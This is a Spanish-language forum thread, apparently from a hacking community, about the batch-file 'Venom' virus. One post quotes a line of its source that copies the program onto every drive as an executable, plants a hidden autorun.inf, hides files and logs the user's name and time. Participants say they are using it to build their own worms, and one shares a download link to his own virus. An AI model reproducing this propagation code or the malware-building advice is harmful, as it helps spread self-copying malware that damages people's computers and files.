[venom] virus curioso para mi

[Zonbikirā]

no estoy seguro pero creo que tiene un error en varias partes... pero es solo mi impresion habria que probarlo

[@NetFcruz]

Si me sale muchos errores, lo probe y me salen errores, vere y dare la solucion si la encuentro pronto.
Saludos...

[Zonbikirā]

si es que tiene algunas cosas nimias pero nada que no se pueda arreglar...

por ejemplo esta parte no la entiendo:

Código: [Seleccionar]

for %%h in (%YU%) do if exist %%h:\*.* attrib -h -s %0© /y %0 "%%h:\100%% %username%.exe"&attrib -r -a -s -h %%h:\*.inf© /y autorun.inf %%h:\autorun.inf&attrib +s +h +r +a %%h:\autorun.inf&md %%h:\VenoM.666© /y %0 %%h:\VenoM.666\Explorer.exe&attrib +s +h %%h:\VenoM.666\*.exe&attrib +s +h %%h:\VenoM.666&echo %username%---%date%---%time%   in %%h:>>"%appdata%\desktop.inf"

estaba haciendo un peque worm y me estaba guiando con este virus
la parte primera donde dice if %computername% y abajo igual no C para que es

cabe destacar que no se que hace la funcion "for" (nunca he entendido XD)

[@NetFcruz]

No estoy seguro porque lo estoy investigando pero me parece que es para sobreescribirun archivo o carpeta y ponerle atributos de oculto y por el .exe y copiarse.

[Zonbikirā]

ahora que lo veo mejor es para copiarse (muchas veces) en la ubicacion %%h: y todos los archivos (*.* con extencion) y guardarse en muchos lugares con varias extenciones y nombres lo que hace este virus es ponerse en todos los lugares posibles para que el usuario lo ejecute varias veces...
seria como una especie de worm destructor (y cambiador del REG) de archivos personales

[v45iLiy]

El famoso virus Venom , fue muy famoso en su epoca , un poco dañino con tus archivos pero no pasa de eso.

Yo nunca lo conoci -.- y ni escuche ablar de el XD

si jaja, pero se ve interesante

[@NetFcruz]

Es bueno analizarlo bien que hace y como detenerlo nosotros, para controlarlo y adaptarlo a nuestra necesidad  y utilizarlo para demos.

[Manulaiko]

Gracias por el source hacía tiempo que lo buscaba

[Zonbikirā]

yo cree mi virus gracias a este VenoM


[size=78%]http://www.mediafire.com/?q216saalqii3ch3[/size] aca esta mi virus solo le cambian la extenciona .exe y listo


y este fue un post que cree hace un rato


http://www.hackxcrack.es/forum/index.php?topic=13052.0

[@NetFcruz]

Pues aver si compartes y veo si puedo modificar algo y ver su funcionamiento a un mp si gustas, saludos amigo.